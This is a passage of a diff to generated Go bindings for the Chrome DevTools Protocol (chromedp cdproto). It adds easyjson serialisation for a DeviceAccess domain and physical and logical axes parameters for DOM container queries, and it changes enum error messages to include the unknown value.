||||
w := jwriter.Writer{}
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDeviceaccess(&w, v)
|
||||
return w.Buffer.BuildBytes(), w.Error
|
||||
}
|
||||
|
||||
// MarshalEasyJSON supports easyjson.Marshaler interface
|
||||
func (v SelectPromptParams) MarshalEasyJSON(w *jwriter.Writer) {
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDeviceaccess(w, v)
|
||||
}
|
||||
|
||||
// UnmarshalJSON supports json.Unmarshaler interface
|
||||
func (v *SelectPromptParams) UnmarshalJSON(data []byte) error {
|
||||
r := jlexer.Lexer{Data: data}
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDeviceaccess(&r, v)
|
||||
return r.Error()
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
|
||||
func (v *SelectPromptParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDeviceaccess(l, v)
|
||||
}
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoDeviceaccess1(in *jlexer.Lexer, out *PromptDevice) {
|
||||
isTopLevel := in.IsStart()
|
||||
if in.IsNull() {
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
in.Skip()
|
||||
return
|
||||
}
|
||||
in.Delim('{')
|
||||
for !in.IsDelim('}') {
|
||||
key := in.UnsafeFieldName(false)
|
||||
in.WantColon()
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
in.WantComma()
|
||||
continue
|
||||
}
|
||||
switch key {
|
||||
case "id":
|
||||
out.ID = DeviceID(in.String())
|
||||
case "name":
|
||||
out.Name = string(in.String())
|
||||
default:
|
||||
in.SkipRecursive()
|
||||
}
|
||||
in.WantComma()
|
||||
}
|
||||
in.Delim('}')
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
}
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoDeviceaccess1(out *jwriter.Writer, in PromptDevice) {
|
||||
out.RawByte('{')
|
||||
first := true
|
||||
_ = first
|
||||
{
|
||||
const prefix string = ",\"id\":"
|
||||
out.RawString(prefix[1:])
|
||||
out.String(string(in.ID))
|
||||
}
|
||||
{
|
||||
const prefix string = ",\"name\":"
|
||||
out.RawString(prefix)
|
||||
out.String(string(in.Name))
|
||||
}
|
||||
out.RawByte('}')
|
||||
}
|
||||
|
||||
// MarshalJSON supports json.Marshaler interface
|
||||
func (v PromptDevice) MarshalJSON() ([]byte, error) {
|
||||
w := jwriter.Writer{}
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDeviceaccess1(&w, v)
|
||||
return w.Buffer.BuildBytes(), w.Error
|
||||
}
|
||||
|
||||
// MarshalEasyJSON supports easyjson.Marshaler interface
|
||||
func (v PromptDevice) MarshalEasyJSON(w *jwriter.Writer) {
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDeviceaccess1(w, v)
|
||||
}
|
||||
|
||||
// UnmarshalJSON supports json.Unmarshaler interface
|
||||
func (v *PromptDevice) UnmarshalJSON(data []byte) error {
|
||||
r := jlexer.Lexer{Data: data}
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDeviceaccess1(&r, v)
|
||||
return r.Error()
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
|
||||
func (v *PromptDevice) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDeviceaccess1(l, v)
|
||||
}
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoDeviceaccess2(in *jlexer.Lexer, out *EventDeviceRequestPrompted) {
|
||||
isTopLevel := in.IsStart()
|
||||
if in.IsNull() {
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
in.Skip()
|
||||
return
|
||||
}
|
||||
in.Delim('{')
|
||||
for !in.IsDelim('}') {
|
||||
key := in.UnsafeFieldName(false)
|
||||
in.WantColon()
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
in.WantComma()
|
||||
continue
|
||||
}
|
||||
switch key {
|
||||
case "id":
|
||||
out.ID = RequestID(in.String())
|
||||
case "devices":
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
out.Devices = nil
|
||||
} else {
|
||||
in.Delim('[')
|
||||
if out.Devices == nil {
|
||||
if !in.IsDelim(']') {
|
||||
out.Devices = make([]*PromptDevice, 0, 8)
|
||||
} else {
|
||||
out.Devices = []*PromptDevice{}
|
||||
}
|
||||
} else {
|
||||
out.Devices = (out.Devices)[:0]
|
||||
}
|
||||
for !in.IsDelim(']') {
|
||||
var v1 *PromptDevice
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
v1 = nil
|
||||
} else {
|
||||
if v1 == nil {
|
||||
v1 = new(PromptDevice)
|
||||
}
|
||||
(*v1).UnmarshalEasyJSON(in)
|
||||
}
|
||||
out.Devices = append(out.Devices, v1)
|
||||
in.WantComma()
|
||||
}
|
||||
in.Delim(']')
|
||||
}
|
||||
default:
|
||||
in.SkipRecursive()
|
||||
}
|
||||
in.WantComma()
|
||||
}
|
||||
in.Delim('}')
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
}
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoDeviceaccess2(out *jwriter.Writer, in EventDeviceRequestPrompted) {
|
||||
out.RawByte('{')
|
||||
first := true
|
||||
_ = first
|
||||
{
|
||||
const prefix string = ",\"id\":"
|
||||
out.RawString(prefix[1:])
|
||||
out.String(string(in.ID))
|
||||
}
|
||||
{
|
||||
const prefix string = ",\"devices\":"
|
||||
out.RawString(prefix)
|
||||
if in.Devices == nil && (out.Flags&jwriter.NilSliceAsEmpty) == 0 {
|
||||
out.RawString("null")
|
||||
} else {
|
||||
out.RawByte('[')
|
||||
for v2, v3 := range in.Devices {
|
||||
if v2 > 0 {
|
||||
out.RawByte(',')
|
||||
}
|
||||
if v3 == nil {
|
||||
out.RawString("null")
|
||||
} else {
|
||||
(*v3).MarshalEasyJSON(out)
|
||||
}
|
||||
}
|
||||
out.RawByte(']')
|
||||
}
|
||||
}
|
||||
out.RawByte('}')
|
||||
}
|
||||
|
||||
// MarshalJSON supports json.Marshaler interface
|
||||
func (v EventDeviceRequestPrompted) MarshalJSON() ([]byte, error) {
|
||||
w := jwriter.Writer{}
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDeviceaccess2(&w, v)
|
||||
return w.Buffer.BuildBytes(), w.Error
|
||||
}
|
||||
|
||||
// MarshalEasyJSON supports easyjson.Marshaler interface
|
||||
func (v EventDeviceRequestPrompted) MarshalEasyJSON(w *jwriter.Writer) {
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDeviceaccess2(w, v)
|
||||
}
|
||||
|
||||
// UnmarshalJSON supports json.Unmarshaler interface
|
||||
func (v *EventDeviceRequestPrompted) UnmarshalJSON(data []byte) error {
|
||||
r := jlexer.Lexer{Data: data}
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDeviceaccess2(&r, v)
|
||||
return r.Error()
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
|
||||
func (v *EventDeviceRequestPrompted) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDeviceaccess2(l, v)
|
||||
}
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoDeviceaccess3(in *jlexer.Lexer, out *EnableParams) {
|
||||
isTopLevel := in.IsStart()
|
||||
if in.IsNull() {
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
in.Skip()
|
||||
return
|
||||
}
|
||||
in.Delim('{')
|
||||
for !in.IsDelim('}') {
|
||||
key := in.UnsafeFieldName(false)
|
||||
in.WantColon()
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
in.WantComma()
|
||||
continue
|
||||
}
|
||||
switch key {
|
||||
default:
|
||||
in.SkipRecursive()
|
||||
}
|
||||
in.WantComma()
|
||||
}
|
||||
in.Delim('}')
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
}
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoDeviceaccess3(out *jwriter.Writer, in EnableParams) {
|
||||
out.RawByte('{')
|
||||
first := true
|
||||
_ = first
|
||||
out.RawByte('}')
|
||||
}
|
||||
|
||||
// MarshalJSON supports json.Marshaler interface
|
||||
func (v EnableParams) MarshalJSON() ([]byte, error) {
|
||||
w := jwriter.Writer{}
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDeviceaccess3(&w, v)
|
||||
return w.Buffer.BuildBytes(), w.Error
|
||||
}
|
||||
|
||||
// MarshalEasyJSON supports easyjson.Marshaler interface
|
||||
func (v EnableParams) MarshalEasyJSON(w *jwriter.Writer) {
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDeviceaccess3(w, v)
|
||||
}
|
||||
|
||||
// UnmarshalJSON supports json.Unmarshaler interface
|
||||
func (v *EnableParams) UnmarshalJSON(data []byte) error {
|
||||
r := jlexer.Lexer{Data: data}
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDeviceaccess3(&r, v)
|
||||
return r.Error()
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
|
||||
func (v *EnableParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDeviceaccess3(l, v)
|
||||
}
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoDeviceaccess4(in *jlexer.Lexer, out *DisableParams) {
|
||||
isTopLevel := in.IsStart()
|
||||
if in.IsNull() {
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
in.Skip()
|
||||
return
|
||||
}
|
||||
in.Delim('{')
|
||||
for !in.IsDelim('}') {
|
||||
key := in.UnsafeFieldName(false)
|
||||
in.WantColon()
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
in.WantComma()
|
||||
continue
|
||||
}
|
||||
switch key {
|
||||
default:
|
||||
in.SkipRecursive()
|
||||
}
|
||||
in.WantComma()
|
||||
}
|
||||
in.Delim('}')
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
}
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoDeviceaccess4(out *jwriter.Writer, in DisableParams) {
|
||||
out.RawByte('{')
|
||||
first := true
|
||||
_ = first
|
||||
out.RawByte('}')
|
||||
}
|
||||
|
||||
// MarshalJSON supports json.Marshaler interface
|
||||
func (v DisableParams) MarshalJSON() ([]byte, error) {
|
||||
w := jwriter.Writer{}
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDeviceaccess4(&w, v)
|
||||
return w.Buffer.BuildBytes(), w.Error
|
||||
}
|
||||
|
||||
// MarshalEasyJSON supports easyjson.Marshaler interface
|
||||
func (v DisableParams) MarshalEasyJSON(w *jwriter.Writer) {
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDeviceaccess4(w, v)
|
||||
}
|
||||
|
||||
// UnmarshalJSON supports json.Unmarshaler interface
|
||||
func (v *DisableParams) UnmarshalJSON(data []byte) error {
|
||||
r := jlexer.Lexer{Data: data}
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDeviceaccess4(&r, v)
|
||||
return r.Error()
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
|
||||
func (v *DisableParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDeviceaccess4(l, v)
|
||||
}
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoDeviceaccess5(in *jlexer.Lexer, out *CancelPromptParams) {
|
||||
isTopLevel := in.IsStart()
|
||||
if in.IsNull() {
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
in.Skip()
|
||||
return
|
||||
}
|
||||
in.Delim('{')
|
||||
for !in.IsDelim('}') {
|
||||
key := in.UnsafeFieldName(false)
|
||||
in.WantColon()
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
in.WantComma()
|
||||
continue
|
||||
}
|
||||
switch key {
|
||||
case "id":
|
||||
out.ID = RequestID(in.String())
|
||||
default:
|
||||
in.SkipRecursive()
|
||||
}
|
||||
in.WantComma()
|
||||
}
|
||||
in.Delim('}')
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
}
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoDeviceaccess5(out *jwriter.Writer, in CancelPromptParams) {
|
||||
out.RawByte('{')
|
||||
first := true
|
||||
_ = first
|
||||
{
|
||||
const prefix string = ",\"id\":"
|
||||
out.RawString(prefix[1:])
|
||||
out.String(string(in.ID))
|
||||
}
|
||||
out.RawByte('}')
|
||||
}
|
||||
|
||||
// MarshalJSON supports json.Marshaler interface
|
||||
func (v CancelPromptParams) MarshalJSON() ([]byte, error) {
|
||||
w := jwriter.Writer{}
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDeviceaccess5(&w, v)
|
||||
return w.Buffer.BuildBytes(), w.Error
|
||||
}
|
||||
|
||||
// MarshalEasyJSON supports easyjson.Marshaler interface
|
||||
func (v CancelPromptParams) MarshalEasyJSON(w *jwriter.Writer) {
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDeviceaccess5(w, v)
|
||||
}
|
||||
|
||||
// UnmarshalJSON supports json.Unmarshaler interface
|
||||
func (v *CancelPromptParams) UnmarshalJSON(data []byte) error {
|
||||
r := jlexer.Lexer{Data: data}
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDeviceaccess5(&r, v)
|
||||
return r.Error()
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
|
||||
func (v *CancelPromptParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDeviceaccess5(l, v)
|
||||
}
|
||||
+12
@@ -0,0 +1,12 @@
|
||||
package deviceaccess
|
||||
|
||||
// Code generated by cdproto-gen. DO NOT EDIT.
|
||||
|
||||
// EventDeviceRequestPrompted a device request opened a user prompt to select
|
||||
// a device. Respond with the selectPrompt or cancelPrompt command.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/DeviceAccess#event-deviceRequestPrompted
|
||||
type EventDeviceRequestPrompted struct {
|
||||
ID RequestID `json:"id"`
|
||||
Devices []*PromptDevice `json:"devices"`
|
||||
}
|
||||
+32
@@ -0,0 +1,32 @@
|
||||
package deviceaccess
|
||||
|
||||
// Code generated by cdproto-gen. DO NOT EDIT.
|
||||
|
||||
// RequestID device request id.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/DeviceAccess#type-RequestId
|
||||
type RequestID string
|
||||
|
||||
// String returns the RequestID as string value.
|
||||
func (t RequestID) String() string {
|
||||
return string(t)
|
||||
}
|
||||
|
||||
// DeviceID a device id.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/DeviceAccess#type-DeviceId
|
||||
type DeviceID string
|
||||
|
||||
// String returns the DeviceID as string value.
|
||||
func (t DeviceID) String() string {
|
||||
return string(t)
|
||||
}
|
||||
|
||||
// PromptDevice device information displayed in a user prompt to select a
|
||||
// device.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/DeviceAccess#type-PromptDevice
|
||||
type PromptDevice struct {
|
||||
ID DeviceID `json:"id"`
|
||||
Name string `json:"name"` // Display name as it appears in a device request user prompt.
|
||||
}
|
||||
+27
-12
@@ -501,14 +501,15 @@ func (p *GetContentQuadsParams) Do(ctx context.Context) (quads []Quad, err error
|
||||
}
|
||||
|
||||
// GetDocumentParams returns the root DOM node (and optionally the subtree)
|
||||
// to the caller.
|
||||
// to the caller. Implicitly enables the DOM domain events for the current
|
||||
// target.
|
||||
type GetDocumentParams struct {
|
||||
Depth int64 `json:"depth,omitempty"` // The maximum depth at which children should be retrieved, defaults to 1. Use -1 for the entire subtree or provide an integer larger than 0.
|
||||
Pierce bool `json:"pierce,omitempty"` // Whether or not iframes and shadow roots should be traversed when returning the subtree (default is false).
|
||||
}
|
||||
|
||||
// GetDocument returns the root DOM node (and optionally the subtree) to the
|
||||
// caller.
|
||||
// caller. Implicitly enables the DOM domain events for the current target.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/DOM#method-getDocument
|
||||
//
|
||||
@@ -1746,19 +1747,21 @@ func (p *GetFrameOwnerParams) Do(ctx context.Context) (backendNodeID cdp.Backend
|
||||
return res.BackendNodeID, res.NodeID, nil
|
||||
}
|
||||
|
||||
// GetContainerForNodeParams returns the container of the given node based on
|
||||
// container query conditions. If containerName is given, it will find the
|
||||
// nearest container with a matching name; otherwise it will find the nearest
|
||||
// container regardless of its container name.
|
||||
// GetContainerForNodeParams returns the query container of the given node
|
||||
// based on container query conditions: containerName, physical, and logical
|
||||
// axes. If no axes are provided, the style container is returned, which is the
|
||||
// direct parent or the closest element with a matching container-name.
|
||||
type GetContainerForNodeParams struct {
|
||||
NodeID cdp.NodeID `json:"nodeId"`
|
||||
ContainerName string `json:"containerName,omitempty"`
|
||||
NodeID cdp.NodeID `json:"nodeId"`
|
||||
ContainerName string `json:"containerName,omitempty"`
|
||||
PhysicalAxes PhysicalAxes `json:"physicalAxes,omitempty"`
|
||||
LogicalAxes LogicalAxes `json:"logicalAxes,omitempty"`
|
||||
}
|
||||
|
||||
// GetContainerForNode returns the container of the given node based on
|
||||
// container query conditions. If containerName is given, it will find the
|
||||
// nearest container with a matching name; otherwise it will find the nearest
|
||||
// container regardless of its container name.
|
||||
// GetContainerForNode returns the query container of the given node based on
|
||||
// container query conditions: containerName, physical, and logical axes. If no
|
||||
// axes are provided, the style container is returned, which is the direct
|
||||
// parent or the closest element with a matching container-name.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/DOM#method-getContainerForNode
|
||||
//
|
||||
@@ -1777,6 +1780,18 @@ func (p GetContainerForNodeParams) WithContainerName(containerName string) *GetC
|
||||
return &p
|
||||
}
|
||||
|
||||
// WithPhysicalAxes [no description].
|
||||
func (p GetContainerForNodeParams) WithPhysicalAxes(physicalAxes PhysicalAxes) *GetContainerForNodeParams {
|
||||
p.PhysicalAxes = physicalAxes
|
||||
return &p
|
||||
}
|
||||
|
||||
// WithLogicalAxes [no description].
|
||||
func (p GetContainerForNodeParams) WithLogicalAxes(logicalAxes LogicalAxes) *GetContainerForNodeParams {
|
||||
p.LogicalAxes = logicalAxes
|
||||
return &p
|
||||
}
|
||||
|
||||
// GetContainerForNodeReturns return values.
|
||||
type GetContainerForNodeReturns struct {
|
||||
NodeID cdp.NodeID `json:"nodeId,omitempty"` // The container node for the given node, or null if not found.
|
||||
|
||||
+14
@@ -4803,6 +4803,10 @@ func easyjsonC5a4559bDecodeGithubComChromedpCdprotoDom59(in *jlexer.Lexer, out *
|
||||
(out.NodeID).UnmarshalEasyJSON(in)
|
||||
case "containerName":
|
||||
out.ContainerName = string(in.String())
|
||||
case "physicalAxes":
|
||||
(out.PhysicalAxes).UnmarshalEasyJSON(in)
|
||||
case "logicalAxes":
|
||||
(out.LogicalAxes).UnmarshalEasyJSON(in)
|
||||
default:
|
||||
in.SkipRecursive()
|
||||
}
|
||||
@@ -4827,6 +4831,16 @@ func easyjsonC5a4559bEncodeGithubComChromedpCdprotoDom59(out *jwriter.Writer, in
|
||||
out.RawString(prefix)
|
||||
out.String(string(in.ContainerName))
|
||||
}
|
||||
if in.PhysicalAxes != "" {
|
||||
const prefix string = ",\"physicalAxes\":"
|
||||
out.RawString(prefix)
|
||||
(in.PhysicalAxes).MarshalEasyJSON(out)
|
||||
}
|
||||
if in.LogicalAxes != "" {
|
||||
const prefix string = ",\"logicalAxes\":"
|
||||
out.RawString(prefix)
|
||||
(in.LogicalAxes).MarshalEasyJSON(out)
|
||||
}
|
||||
out.RawByte('}')
|
||||
}
|
||||
|
||||
|
||||
+100
-3
@@ -3,13 +3,109 @@ package dom
|
||||
// Code generated by cdproto-gen. DO NOT EDIT.
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
|
||||
"github.com/mailru/easyjson"
|
||||
"github.com/mailru/easyjson/jlexer"
|
||||
"github.com/mailru/easyjson/jwriter"
|
||||
)
|
||||
|
||||
// PhysicalAxes containerSelector physical axes.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/DOM#type-PhysicalAxes
|
||||
type PhysicalAxes string
|
||||
|
||||
// String returns the PhysicalAxes as string value.
|
||||
func (t PhysicalAxes) String() string {
|
||||
return string(t)
|
||||
}
|
||||
|
||||
// PhysicalAxes values.
|
||||
const (
|
||||
PhysicalAxesHorizontal PhysicalAxes = "Horizontal"
|
||||
PhysicalAxesVertical PhysicalAxes = "Vertical"
|
||||
PhysicalAxesBoth PhysicalAxes = "Both"
|
||||
)
|
||||
|
||||
// MarshalEasyJSON satisfies easyjson.Marshaler.
|
||||
func (t PhysicalAxes) MarshalEasyJSON(out *jwriter.Writer) {
|
||||
out.String(string(t))
|
||||
}
|
||||
|
||||
// MarshalJSON satisfies json.Marshaler.
|
||||
func (t PhysicalAxes) MarshalJSON() ([]byte, error) {
|
||||
return easyjson.Marshal(t)
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *PhysicalAxes) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
v := in.String()
|
||||
switch PhysicalAxes(v) {
|
||||
case PhysicalAxesHorizontal:
|
||||
*t = PhysicalAxesHorizontal
|
||||
case PhysicalAxesVertical:
|
||||
*t = PhysicalAxesVertical
|
||||
case PhysicalAxesBoth:
|
||||
*t = PhysicalAxesBoth
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown PhysicalAxes value: %v", v))
|
||||
}
|
||||
}
|
||||
|
||||
// UnmarshalJSON satisfies json.Unmarshaler.
|
||||
func (t *PhysicalAxes) UnmarshalJSON(buf []byte) error {
|
||||
return easyjson.Unmarshal(buf, t)
|
||||
}
|
||||
|
||||
// LogicalAxes containerSelector logical axes.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/DOM#type-LogicalAxes
|
||||
type LogicalAxes string
|
||||
|
||||
// String returns the LogicalAxes as string value.
|
||||
func (t LogicalAxes) String() string {
|
||||
return string(t)
|
||||
}
|
||||
|
||||
// LogicalAxes values.
|
||||
const (
|
||||
LogicalAxesInline LogicalAxes = "Inline"
|
||||
LogicalAxesBlock LogicalAxes = "Block"
|
||||
LogicalAxesBoth LogicalAxes = "Both"
|
||||
)
|
||||
|
||||
// MarshalEasyJSON satisfies easyjson.Marshaler.
|
||||
func (t LogicalAxes) MarshalEasyJSON(out *jwriter.Writer) {
|
||||
out.String(string(t))
|
||||
}
|
||||
|
||||
// MarshalJSON satisfies json.Marshaler.
|
||||
func (t LogicalAxes) MarshalJSON() ([]byte, error) {
|
||||
return easyjson.Marshal(t)
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *LogicalAxes) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
v := in.String()
|
||||
switch LogicalAxes(v) {
|
||||
case LogicalAxesInline:
|
||||
*t = LogicalAxesInline
|
||||
case LogicalAxesBlock:
|
||||
*t = LogicalAxesBlock
|
||||
case LogicalAxesBoth:
|
||||
*t = LogicalAxesBoth
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown LogicalAxes value: %v", v))
|
||||
}
|
||||
}
|
||||
|
||||
// UnmarshalJSON satisfies json.Unmarshaler.
|
||||
func (t *LogicalAxes) UnmarshalJSON(buf []byte) error {
|
||||
return easyjson.Unmarshal(buf, t)
|
||||
}
|
||||
|
||||
// Quad an array of quad vertices, x immediately followed by y for each
|
||||
// point, points clock-wise.
|
||||
//
|
||||
@@ -85,14 +181,15 @@ func (t EnableIncludeWhitespace) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *EnableIncludeWhitespace) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
switch EnableIncludeWhitespace(in.String()) {
|
||||
v := in.String()
|
||||
switch EnableIncludeWhitespace(v) {
|
||||
case EnableIncludeWhitespaceNone:
|
||||
*t = EnableIncludeWhitespaceNone
|
||||
case EnableIncludeWhitespaceAll:
|
||||
*t = EnableIncludeWhitespaceAll
|
||||
|
||||
default:
|
||||
in.AddError(errors.New("unknown EnableIncludeWhitespace value"))
|
||||
in.AddError(fmt.Errorf("unknown EnableIncludeWhitespace value: %v", v))
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
+7
-5
@@ -3,7 +3,7 @@ package domdebugger
|
||||
// Code generated by cdproto-gen. DO NOT EDIT.
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
|
||||
"github.com/chromedp/cdproto/cdp"
|
||||
"github.com/chromedp/cdproto/runtime"
|
||||
@@ -41,7 +41,8 @@ func (t DOMBreakpointType) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *DOMBreakpointType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
switch DOMBreakpointType(in.String()) {
|
||||
v := in.String()
|
||||
switch DOMBreakpointType(v) {
|
||||
case DOMBreakpointTypeSubtreeModified:
|
||||
*t = DOMBreakpointTypeSubtreeModified
|
||||
case DOMBreakpointTypeAttributeModified:
|
||||
@@ -50,7 +51,7 @@ func (t *DOMBreakpointType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = DOMBreakpointTypeNodeRemoved
|
||||
|
||||
default:
|
||||
in.AddError(errors.New("unknown DOMBreakpointType value"))
|
||||
in.AddError(fmt.Errorf("unknown DOMBreakpointType value: %v", v))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -87,14 +88,15 @@ func (t CSPViolationType) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *CSPViolationType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
switch CSPViolationType(in.String()) {
|
||||
v := in.String()
|
||||
switch CSPViolationType(v) {
|
||||
case CSPViolationTypeTrustedtypeSinkViolation:
|
||||
*t = CSPViolationTypeTrustedtypeSinkViolation
|
||||
case CSPViolationTypeTrustedtypePolicyViolation:
|
||||
*t = CSPViolationTypeTrustedtypePolicyViolation
|
||||
|
||||
default:
|
||||
in.AddError(errors.New("unknown CSPViolationType value"))
|
||||
in.AddError(fmt.Errorf("unknown CSPViolationType value: %v", v))
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
+2
-2
@@ -423,7 +423,7 @@ func (p *SetEmulatedMediaParams) Do(ctx context.Context) (err error) {
|
||||
|
||||
// SetEmulatedVisionDeficiencyParams emulates the given vision deficiency.
|
||||
type SetEmulatedVisionDeficiencyParams struct {
|
||||
Type SetEmulatedVisionDeficiencyType `json:"type"` // Vision deficiency to emulate.
|
||||
Type SetEmulatedVisionDeficiencyType `json:"type"` // Vision deficiency to emulate. Order: best-effort emulations come first, followed by any physiologically accurate emulations for medically recognized color vision deficiencies.
|
||||
}
|
||||
|
||||
// SetEmulatedVisionDeficiency emulates the given vision deficiency.
|
||||
@@ -432,7 +432,7 @@ type SetEmulatedVisionDeficiencyParams struct {
|
||||
//
|
||||
// parameters:
|
||||
//
|
||||
// type - Vision deficiency to emulate.
|
||||
// type - Vision deficiency to emulate. Order: best-effort emulations come first, followed by any physiologically accurate emulations for medically recognized color vision deficiencies.
|
||||
func SetEmulatedVisionDeficiency(typeVal SetEmulatedVisionDeficiencyType) *SetEmulatedVisionDeficiencyParams {
|
||||
return &SetEmulatedVisionDeficiencyParams{
|
||||
Type: typeVal,
|
||||
|
||||
+35
-27
@@ -3,7 +3,7 @@ package emulation
|
||||
// Code generated by cdproto-gen. DO NOT EDIT.
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
|
||||
"github.com/mailru/easyjson"
|
||||
"github.com/mailru/easyjson/jlexer"
|
||||
@@ -68,7 +68,8 @@ func (t VirtualTimePolicy) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *VirtualTimePolicy) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
switch VirtualTimePolicy(in.String()) {
|
||||
v := in.String()
|
||||
switch VirtualTimePolicy(v) {
|
||||
case VirtualTimePolicyAdvance:
|
||||
*t = VirtualTimePolicyAdvance
|
||||
case VirtualTimePolicyPause:
|
||||
@@ -77,7 +78,7 @@ func (t *VirtualTimePolicy) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = VirtualTimePolicyPauseIfNetworkFetchesPending
|
||||
|
||||
default:
|
||||
in.AddError(errors.New("unknown VirtualTimePolicy value"))
|
||||
in.AddError(fmt.Errorf("unknown VirtualTimePolicy value: %v", v))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -101,8 +102,8 @@ type UserAgentBrandVersion struct {
|
||||
//
|
||||
